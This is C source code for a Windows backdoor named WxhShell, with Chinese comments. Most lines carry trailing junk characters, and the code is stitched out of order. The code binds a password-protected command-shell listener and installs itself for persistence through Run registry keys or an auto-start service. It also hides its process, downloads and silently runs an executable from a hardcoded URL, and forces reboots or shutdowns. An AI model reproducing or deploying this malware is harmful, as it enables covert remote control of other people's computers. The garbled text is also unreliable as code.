    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); MXhRnVz"W  
    if(Boot(SHUTDOWN)) B1Iq:5nmoS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {N,w5!cP  
    else { uy;3s=03^  
    closesocket(wsh); D r$N{d  
    ExitThread(0); 5OUe |mS  
    } {\e wf_pFk  
    break; gB@Wv9 1  
    } .tb~f@xL  
  // 获取shell ARu^hz=  
  case 's': { -Q8pWtt  
    CmdShell(wsh); ptuW}"F  
    closesocket(wsh); ~qT+sc!t  
    ExitThread(0);  '[#uf/~W  
    break; P5P<-T{-c  
  } n1W}h@>8  
  // 退出 :r/rByd'  
  case 'x': { *lG$B@;rc|  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); y!^RL,HIL  
    CloseIt(wsh); /(nA)V( :  
    break; QrPWS-3~!  
    } q9pcEm4?  
  // 离开 !J' xk  
  case 'q': { ;SVF"Uo  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); i9M6%R1m}E  
    closesocket(wsh); /aJl0GL4!  
    WSACleanup();  D-4 PEf  
    exit(1); Dx[t?-  
    break; {ersXQ:  
        } e"|9%AW@<  
  } J:mOg95<  
  } _H8)O2mJ  
+o/;bm*U<K  
  // 提示信息 O'-lBf+<  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1|cmmUM-'v  
} u-k?ef  
  } {+t'XkA  
~ab"q %  
  return; oci-[CI,  
} 9HEc=,D|  
95wV+ q*  
// shell模块句柄 %r!  
int CmdShell(SOCKET sock) T+4Musu{V  
{ j`'=K_+nU  
STARTUPINFO si; W3 8 =fyD  
ZeroMemory(&si,sizeof(si)); qW<: `y  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {YbqB6zaM  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; M3F8@|2  
PROCESS_INFORMATION ProcessInfo; a<gzI  
char cmdline[]="cmd"; z4J-qK~2  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); |ns^' q  
  return 0; HKcipDW  
} xHr  
h=4{.EegG&  
// 自身启动模式 9Jk(ID'c  
int StartFromService(void) v @N8v  
{ KQ9:lJKr  
typedef struct t8)Fkx#8}  
{ {fN_itn  
  DWORD ExitStatus; TPEZ"%=Hg  
  DWORD PebBaseAddress; iZyk2kc  
  DWORD AffinityMask; \K?./*  
  DWORD BasePriority; Y*Q( v  
  ULONG UniqueProcessId; -I8%  
  ULONG InheritedFromUniqueProcessId; BkqIfV%O  
}   PROCESS_BASIC_INFORMATION; E>6zwp  
4 |5ekwk  
PROCNTQSIP NtQueryInformationProcess; kh,M'XbTo  
w6 "LHy[  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; W'0wTZG  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; oC[wYUDg  
Yu1xJgl  
  HANDLE             hProcess; :6M0`V;L  
  PROCESS_BASIC_INFORMATION pbi; {G{@bUG]p  
@i)tQd!s  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Ixec]UOS  
  if(NULL == hInst ) return 0; }5]s+m  
.D>lv_kp  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 'FUPv61()  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =k/n  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); #/jHnRrQ   
q2<J`G(tZ  
  if (!NtQueryInformationProcess) return 0; 2.lnT{  
F9+d7 Y$  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());  vo(?[[  
  if(!hProcess) return 0; X)&Z{ V>  
wRiP5U,  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; .$OInh  
1)PR]s:-m@  
  CloseHandle(hProcess); ntkinbbD  
XWUT b\@  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Jb$z(?S  
if(hProcess==NULL) return 0; P`%ppkzV6  
*HXq`B  
HMODULE hMod; X%F9.<4  
char procName[255]; RU >vnDaC  
unsigned long cbNeeded; f%}+.e D  
QNtr=  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6aK--k  
P< &/$x6  
  CloseHandle(hProcess); %8{_;-f  
OLR1/t`V  
if(strstr(procName,"services")) return 1; // 以服务启动 N^ET qg  
'_&(Iwu  
  return 0; // 注册表启动 SmLYxH3F  
} y-X'eCUz  
GSFT(XX  
// 主模块 t/D Q<B_  
int StartWxhshell(LPSTR lpCmdLine) 1*jL2P]D  
{ :hr@>Y~r  
  SOCKET wsl; k2WO*xa*  
BOOL val=TRUE; ~R8yj(  
  int port=0; z0UO<Y?9  
  struct sockaddr_in door; vp|=q;Q%r  
c]n03o  
  if(wscfg.ws_autoins) Install(); (hV"z;rI  
>>8w(PdTn%  
port=atoi(lpCmdLine); : [9'nR  
["IJ h  
if(port<=0) port=wscfg.ws_port; '_<`dzz  
,Df36-74v5  
  WSADATA data; F@lpjW  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; UKBMGzu2:  
1G;Ns] u  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   MGz> ,c^wW  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Jqj6L993e  
  door.sin_family = AF_INET; &;skB.  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^0 lPv!2  
  door.sin_port = htons(port); 4|L@oTzx  
dtBV0$  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 3# (5Kco  
closesocket(wsl); T> 'Vaxo  
return 1; Iz8 ^? >X  
} <khAc1"  
UmE{>5Pt  
  if(listen(wsl,2) == INVALID_SOCKET) { \|t0~sRwh  
closesocket(wsl); y~=hM   
return 1; i+Dgw  
} #dt2'V- ,  
  Wxhshell(wsl); b?NeSiswn  
  WSACleanup(); -}sya1(<8  
Rqz()M  
return 0; 7jbm w<d)9  
I`kp5lGD2  
} m wCnP8:K  
e;'T?&t  
// 以NT服务方式启动 T!A}ipqb  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) F?ebY k1  
{ 9GwsQ \  
DWORD   status = 0; sZB6zTX J  
  DWORD   specificError = 0xfffffff; HXHPz 4  
=eoxT  
  serviceStatus.dwServiceType     = SERVICE_WIN32; N6[^62  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; .rm7Sd4K  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Umt ia~x=&  
  serviceStatus.dwWin32ExitCode     = 0; Ve1] ECk  
  serviceStatus.dwServiceSpecificExitCode = 0; IpXhb[UZ?  
  serviceStatus.dwCheckPoint       = 0; \KXEw2S  
  serviceStatus.dwWaitHint       = 0; z}tp0~C  
mO> M=2A  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); @<=#i  
  if (hServiceStatusHandle==0) return; ^z;,deoGh  
tuUXW5!/  
status = GetLastError(); ;T+U&U0d|  
  if (status!=NO_ERROR) s3Ce]MH  
{ ]r1{%:8  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; wT= hO+  
    serviceStatus.dwCheckPoint       = 0; #/dde9y  
    serviceStatus.dwWaitHint       = 0; jGhg~-m  
    serviceStatus.dwWin32ExitCode     = status; Z^6(&Rh  
    serviceStatus.dwServiceSpecificExitCode = specificError; 8#u_+;,p  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); U3K<@r  
    return; h}>/Z3*  
  } =hOa 0X=  
ZC*d^n]x.  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; }2A1Yt:^P  
  serviceStatus.dwCheckPoint       = 0; ==Mi1Q#5C  
  serviceStatus.dwWaitHint       = 0; &:#8ol(n5b  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); E}vO*ZZEw  
} :fVMM7  
'f7 *RSKqb  
// 处理NT服务事件,比如:启动、停止 ydqmuZ%2h#  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 5@ +Ei25  
{ Z*>/@J}  
switch(fdwControl) f$|v0Xs  
{ 2\\3<  
case SERVICE_CONTROL_STOP: @h$0S+?:  
  serviceStatus.dwWin32ExitCode = 0; [(F<|f:n  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; b ]&zDo|8  
  serviceStatus.dwCheckPoint   = 0; ?mR[A`J58  
  serviceStatus.dwWaitHint     = 0; mh7sY;SvM  
  { b N e\{k  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); H8]^f=  
  } %O=V4%"m\  
  return; Zt2@?w;  
case SERVICE_CONTROL_PAUSE: 9Pp|d"6]y  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; #*$@_  
  break; 7jH`_58  
case SERVICE_CONTROL_CONTINUE: ~y H>Ko9F}  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; [Um4\QvUx  
  break; m{.M,Lm:  
case SERVICE_CONTROL_INTERROGATE: )B$P#dP)i  
  break; #]DZrD&q  
}; xqC<p`?4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); i!$^NIcJ  
} nWF4[<t  
UZ\*]mxT  
// 标准应用程序主函数 LZC?383'  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) y2$;t'  
{ Cm;qDvj+u  
)USC  
// 获取操作系统版本 ]z=Vc#+!  
OsIsNt=GetOsVer(); ?g;ZbD  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 3!9 yuf  
Te@6N\g  
  // 从命令行安装 B4:l*P'  
  if(strpbrk(lpCmdLine,"iI")) Install(); 5Vo}G %g  
6_5d  
  // 下载执行文件 Ji:iKkI  
if(wscfg.ws_downexe) { 4<Sa,~4  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 7 Y>`-\  
  WinExec(wscfg.ws_filenam,SW_HIDE); MR_bq_)  
} RjGB#AK  
:-\ yy  
if(!OsIsNt) { %^5@z1d,  
// 如果时win9x,隐藏进程并且设置为注册表启动 >`<2}Me6  
HideProc(); iqednk%  
StartWxhshell(lpCmdLine); [x<6v}fRn  
} OW^2S_H5  
else hJ[mf1je=  
  if(StartFromService()) R=?po=  
  // 以服务方式启动 "c/s/$k//  
  StartServiceCtrlDispatcher(DispatchTable); Ryq"\Q>+  
else 5nx<,-N*BP  
  // 普通方式启动 Az< 9hk  
  StartWxhshell(lpCmdLine); yD"0=\  
2>}\XKF).  
return 0; xOL)Pjo /m  
} 8q?;Hg  
Hg9.<|+yo  
_0W;)v  
i ,IM?+4  
=========================================== KHlIK`r  
lke~>0;  
>GznG[Ku  
x 1BOW  
GX@W"y  
W8,tl>(  
" SE^b0ZV*x  
t+ S~u^  
#include <stdio.h> Sq-3-w,R~  
#include <string.h> D=~B7b:  
#include <windows.h> 1U7,X6=~  
#include <winsock2.h> (eRKR2% q  
#include <winsvc.h> WR a+zii,  
#include <urlmon.h> Itr7lv'5xx  
e*P=2*]M  
#pragma comment (lib, "Ws2_32.lib") A }-&C  
#pragma comment (lib, "urlmon.lib") \POnsM)+l  
\|~?x#aA  
#define MAX_USER   100 // 最大客户端连接数 !FB \h<6  
#define BUF_SOCK   200 // sock buffer L8dU (P  
#define KEY_BUFF   255 // 输入 buffer >Qm<-g  
t[?a @S~6  
#define REBOOT     0   // 重启 dm2CA0   
#define SHUTDOWN   1   // 关机 3u4*ofjE5  
~y)bYG!G  
#define DEF_PORT   5000 // 监听端口 {M@@)27gW  
Xn/ n|[  
#define REG_LEN     16   // 注册表键长度 `.>k)=F&  
#define SVC_LEN     80   // NT服务名长度  L%WME8PB  
afY_9g!\  
// 从dll定义API 8Z dUPW\e  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); NT@YLhs?  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); %'"HGZn b  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &]VQR2J}:  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); !{Q:(B#ec  
o9ctJf=qn  
// wxhshell配置信息 %GX uuE}mX  
struct WSCFG { RVkU+7  
  int ws_port;         // 监听端口 ^`rpf\GX(  
  char ws_passstr[REG_LEN]; // 口令 d@4rD}_Z  
  int ws_autoins;       // 安装标记, 1=yes 0=no  dd<:#c9  
  char ws_regname[REG_LEN]; // 注册表键名 +5HnZ?E\  
  char ws_svcname[REG_LEN]; // 服务名 V#NG+U.B  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 m Ztv G,  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 KZF0rW  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 =naR{pI  
int ws_downexe;       // 下载执行标记, 1=yes 0=no NfTCp A  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" hj&fQ}X  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 5iQmZ [  
zJ;>.0  
}; Ufdl|smt1  
X>Al:?`}N  
// default Wxhshell configuration SOp=~z  
struct WSCFG wscfg={DEF_PORT, }!%JYG^!D  
    "xuhuanlingzhe", ~H^'al2PK  
    1, > -y&$1  
    "Wxhshell", )N" Ew0U  
    "Wxhshell", vZ$U^>":  
            "WxhShell Service", i<T P:  
    "Wrsky Windows CmdShell Service", pWs\.::B  
    "Please Input Your Password: ", +Qh[sGDdY  
  1, F$Im9T6  
  "http://www.wrsky.com/wxhshell.exe", bVoU|`c  
  "Wxhshell.exe" 76-jMcGi  
    }; {~bIA!kAFI  
0n:?sFY>  
// 消息定义模块 ?;|@T ty%  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; b!0DH[XKV  
char *msg_ws_prompt="\n\r? for help\n\r#>"; =&A!C"qK4[  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; :)#hrFp  
char *msg_ws_ext="\n\rExit."; weAn&h|  
char *msg_ws_end="\n\rQuit."; *u>lx!g  
char *msg_ws_boot="\n\rReboot..."; 7tSJniB  
char *msg_ws_poff="\n\rShutdown..."; /O|:{LQ  
char *msg_ws_down="\n\rSave to "; )Hbb&F  
{O^TurbTFA  
char *msg_ws_err="\n\rErr!"; mn]-rTr  
char *msg_ws_ok="\n\rOK!"; t;8\fIW5  
8Q2]*%  
char ExeFile[MAX_PATH]; T><{ze  
int nUser = 0; ,~4H{{<j  
HANDLE handles[MAX_USER]; X^}A*4j  
int OsIsNt; Rj[ hhSx 2  
TUh&d5a9H  
SERVICE_STATUS       serviceStatus; ]^=|Zd-  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; qib 7Z]j  
6HoqEku/Q  
// 函数声明 [X,A'Q  
int Install(void); AR%hf  
int Uninstall(void); /+V Iw`E  
int DownloadFile(char *sURL, SOCKET wsh); CjZZm^O  
int Boot(int flag); R?cUy8?'S  
void HideProc(void); w *50ZS;N  
int GetOsVer(void); i S%  
int Wxhshell(SOCKET wsl); OJAx:&]3  
void TalkWithClient(void *cs); <lMg\T?K  
int CmdShell(SOCKET sock); *>jjMyn  
int StartFromService(void); o`bo#A  
int StartWxhshell(LPSTR lpCmdLine); #HeM,;Xp  
q-3]jHChh  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ddsUz1%l  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); v:KX9A.  
)^4hQ3BS  
// 数据结构和表定义 `Da+75 f6v  
SERVICE_TABLE_ENTRY DispatchTable[] = '\`6ot8  
{ EYL]TeS  
{wscfg.ws_svcname, NTServiceMain}, \PpXL*.  
{NULL, NULL} XCDSmZ  
}; 9tn;L"#&N  
#G_F`&  
// 自我安装 Sw)i1S9  
int Install(void) ncv7t|ZN  
{ !z"Nv1!~|  
  char svExeFile[MAX_PATH]; ?"6Ov ]  
  HKEY key; BQ#3QL't  
  strcpy(svExeFile,ExeFile); AUfS-  
#EbGL])F}  
// 如果是win9x系统,修改注册表设为自启动 s5l3V2k  
if(!OsIsNt) { Jf7frzw  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [*8Y'KX <  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8tLHr@%%  
  RegCloseKey(key); '0|o`qoLzA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { YNSyi@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); mO P4z'  
  RegCloseKey(key); f~ =r*&U  
  return 0; X7aYpt;  
    } I&Jt> O4  
  } &D]p,  
} GWsd| kxU  
else { {.st`n|xz  
H}Ucrv:  
// 如果是NT以上系统,安装为系统服务  H;NbQ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); q-nER<  
if (schSCManager!=0) G?`-]FMO  
{ ;+ azeW ^  
  SC_HANDLE schService = CreateService 9#7J:PfZ<  
  ( zB*euHIqZ  
  schSCManager, L@RIZu>ZW+  
  wscfg.ws_svcname, @o>EBZ7MS  
  wscfg.ws_svcdisp, 22 &'@C>  
  SERVICE_ALL_ACCESS, )%mg(O8uL  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , g5+7p@'fV  
  SERVICE_AUTO_START, S]^`woD  
  SERVICE_ERROR_NORMAL, { p;shs5  
  svExeFile, h >-'-Hx+  
  NULL, |;+qld[4z  
  NULL, a?F!,=F  
  NULL, lCJ6Ur;  
  NULL, oFCgu{\kt  
  NULL _X4!xbP  
  ); b9~A-Z  
  if (schService!=0) 3`*Kav>"  
  { k$N0lR4:p  
  CloseServiceHandle(schService); 48O~Jx,  
  CloseServiceHandle(schSCManager); /c`^iPb  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 1l5J P|x  
  strcat(svExeFile,wscfg.ws_svcname); 7]E m ,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { s"%lFA"-  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 4zjs!AK%  
  RegCloseKey(key); 5G[x}4U  
  return 0; xCXQ<77  
    } Ooc\1lX  
  } tIc 7:th  
  CloseServiceHandle(schSCManager); PT'MNH  
} >oGiIYq  
} O^Q ,-=tA\  
|A\a4f 'G  
return 1; "?3`  
} !E2W\chi  
` qUX.  
// 自我卸载 Es!Q8.  
int Uninstall(void) k GHQ`h  
{ F]EBD8/b  
  HKEY key; ;AX8aw,  
j+rG7z){K  
if(!OsIsNt) { VwyVEZt  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { yVX8e I  
  RegDeleteValue(key,wscfg.ws_regname); D:"{g|nW}  
  RegCloseKey(key); GIyF81KR 3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ),(V6@Z?  
  RegDeleteValue(key,wscfg.ws_regname); /(hUfYm0  
  RegCloseKey(key); Kcy@$uF{2  
  return 0; [;A[.&6  
  } u 8^{  
} SJ?cI!=x  
} MSw$_d  
else { %Ip*Kq-  
GbI-SbE  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); #wY0D_3@1  
if (schSCManager!=0) _%/}>L>-`8  
{ YJ_\Ns+Ow  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); zmI]cD@G  
  if (schService!=0) *JX;|S  
  { z//VlB  
  if(DeleteService(schService)!=0) { ?'s6Xmd  
  CloseServiceHandle(schService); s58 C2  
  CloseServiceHandle(schSCManager); :e<7d8E5n{  
  return 0; b[I8iSkfi  
  } l(;Kij  
  CloseServiceHandle(schService); ]e'fa/I  
  } cPDQ1qre!  
  CloseServiceHandle(schSCManager); `R"~v/x  
} jYRP8 Yi  
} :9|\Z|S(I  
_oG&OJ@  
return 1; bq>_qpr  
} =K\r-'V  
*=AqM14 @  
// 从指定url下载文件 bD ^b  
int DownloadFile(char *sURL, SOCKET wsh) ;G\8jP'   
{ #bX9Tu0  
  HRESULT hr; Hnk:K9u.B:  
char seps[]= "/"; m3bCZ 9iE  
char *token; ) ZfdQ3  
char *file; vi.w8 >CE  
char myURL[MAX_PATH]; (o5j'2:.  
char myFILE[MAX_PATH]; QnQOm ""  
U;N:j8  
strcpy(myURL,sURL); 8[vc?+>&  
  token=strtok(myURL,seps); /D! ;u]  
  while(token!=NULL) M{g%cR0  
  { */:uV B,b2  
    file=token; >-8cU_m7s  
  token=strtok(NULL,seps); Zf$Np50@(  
  } qz?mh4Oh  
M(x$xAiD  
GetCurrentDirectory(MAX_PATH,myFILE); b~=0[Rv  
strcat(myFILE, "\\"); t>=fTkB  
strcat(myFILE, file); 1u3, '8F  
  send(wsh,myFILE,strlen(myFILE),0); Rk!X]-`=  
send(wsh,"...",3,0); WOzf]3Xcj  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); JjaoOe  
  if(hr==S_OK) i4Lc$20?d  
return 0;  ]^'@ [<  
else [e[<p\]  
return 1; I9h ?;(  
$odso;Hn  
} LUB${0BrA  
y!tC20Q   
// 系统电源模块 (T`E!A0I\?  
int Boot(int flag) h/?l4iR*  
{ ;X*cCb`h   
  HANDLE hToken; }>)[<;M>%  
  TOKEN_PRIVILEGES tkp; Bn@(zHG+5&  
C|pdv  
  if(OsIsNt) { ^8.]d~j  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); YIw1  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ~ab:/!Z  
    tkp.PrivilegeCount = 1; `x%'jPP1 ^  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; WSuww  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); !;?+>R)h  
if(flag==REBOOT) { %_!bRo  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) =UUU$hq2  
  return 0; , ]bB9tid  
} [!!Q,S"  
else { rj(T~d4  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) }gJ(DbnV  
  return 0; 93Co}@Y;Y+  
} 3EJt%}V$k  
  } :VTTh |E%#  
  else { 'Ut7{rZ5  
if(flag==REBOOT) { hjZKUM G(k  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 'yMF~r3J  
  return 0; ggJO:$?$L  
} *S2ypzwRZ,  
else { [Xb@Wh:yG  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 9eH$XYy  
  return 0; u~A6bK*  
} ,l<6GB2\  
} 'Lu__NfN  
'7XIhN9  
return 1; z`:lcF{V  
} (J z1vEEV  
xlQBe-Wg  
// win9x进程隐藏模块 4$P0:  
void HideProc(void) }GeSu|m(  
{ Y1]n^  
rqY`8Ry2M  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); z11O F  
  if ( hKernel != NULL ) h5(4*$%  
  { Hy^N!rBxfO  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");  4^M  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); gLOEh6  
    FreeLibrary(hKernel); 30SW\@  
  } Ytl4kaYS  
EOCN&_Z;  
return; 6oGYnu;UZ  
} Uu`9 "  
Mnscb  
// 获取操作系统版本 zG(\+4GE!  
int GetOsVer(void) 2nR[Xh?L  
{ :Of^xj>A  
  OSVERSIONINFO winfo; YJ\Xj56gv  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); /Njd[= B  
  GetVersionEx(&winfo); g*_cP U0~m  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) VIv&ofyAR  
  return 1; <ZNzVnVA  
  else RS8Hf~0G  
  return 0; #`)(e JF  
} >Wv;R2|  
A<??T[  
// 客户端句柄模块 neLAEHV  
int Wxhshell(SOCKET wsl) >U[j]V]  
{ %^ !,t:d  
  SOCKET wsh; JU)dr4S?  
  struct sockaddr_in client; v_DedVhe  
  DWORD myID; t+!$[K0/  
hpD!2 K3>  
  while(nUser<MAX_USER) 'h,VR=e<  
{ NA~Vg8  
  int nSize=sizeof(client); tP$<UKtU  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); R}!:'^  
  if(wsh==INVALID_SOCKET) return 1; . QBF`Rz  
#T'{ n1AI  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ++`0rY%  
if(handles[nUser]==0) =,6z4" )  
  closesocket(wsh); y ~U #veY  
else sM `DL  
  nUser++; oU.R2\Q  
  } zd >t-?g  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); <nT +$  
R8a3 1&  
  return 0; .nx2";oi  
} ` 2V19 s]  
oYm[V<nIl  
// 关闭 socket nH[yJGZYSA  
void CloseIt(SOCKET wsh) U_I5fK =  
{ ^f4s"T  
closesocket(wsh); hYG6 pTCb  
nUser--; kY-N>E:  
ExitThread(0); Z/Dx,zIR  
} ;'#8tGv=  
woGAf)vV#  
// 客户端请求句柄 %z,m B$LY  
void TalkWithClient(void *cs) rWR}Stc@]  
{ 7%x[q}  
',JinE95  
  SOCKET wsh=(SOCKET)cs; Ws|j#X<  
  char pwd[SVC_LEN]; 2{H@(Vgpbr  
  char cmd[KEY_BUFF]; Dv5D~on{  
char chr[1]; #_^Lb]jkM  
int i,j; e#$]Y?,  
j i7[nY  
  while (nUser < MAX_USER) { jtW!"TOY  
S.-TOE  
if(wscfg.ws_passstr) { '!!CeDy  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ! |<Fo'U  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); kuszb~`zPY  
  //ZeroMemory(pwd,KEY_BUFF); Oi8.8M  
      i=0; |EX(8y  
  while(i<SVC_LEN) { *zb Nd:i9  
|B.Y6L6l  
  // 设置超时 P-yjN  
  fd_set FdRead; <7/R,\Wg~  
  struct timeval TimeOut; 7QiIiWqIWC  
  FD_ZERO(&FdRead); \/zq7j  
  FD_SET(wsh,&FdRead); YIQ 4t  
  TimeOut.tv_sec=8; !Prg_6 `  
  TimeOut.tv_usec=0; v$?+MNks  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); | *2w5iR  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); "n(hfz0y%  
>UiYL}'br6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^ *k?pJ5  
  pwd=chr[0]; jFL #s&ft  
  if(chr[0]==0xd || chr[0]==0xa) { P}n_IV*@  
  pwd=0; ,Z&xNBX  
  break; XDOY`N^L  
  } 96( v  
  i++; `{3<{wgw  
    } L*xhGoC=  
?PeJlpYzV  
  // 如果是非法用户,关闭 socket s >7}zU]  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); S9]'?|  
} m Bu  
nP$Ky1y G  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); v_+{'F  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qouhuH_WtJ  
%Nlt H/I  
while(1) { M?Y;a5{  
,8U &?8l  
  ZeroMemory(cmd,KEY_BUFF); snE8 K}4  
[=6]+V83M  
      // 自动支持客户端 telnet标准   y\4L{GlBM  
  j=0; N{9v1`B  
  while(j<KEY_BUFF) { gc_:%ki  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); il4^zj82  
  cmd[j]=chr[0]; !/'t5~x[  
  if(chr[0]==0xa || chr[0]==0xd) { <J< {l  
  cmd[j]=0; |W,& Hl7  
  break; } gyj0  
  } P{kur} T  
  j++; LG{,c.Qj*  
    } %9KldcQ}~  
N7b8m?!  
  // 下载文件 Xv ]W(f1  
  if(strstr(cmd,"http://")) { FtP0krO(  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Xix L  R  
  if(DownloadFile(cmd,wsh)) ? uzRhC_)!  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ElcjtYu4  
  else x9UX!Z5*>  
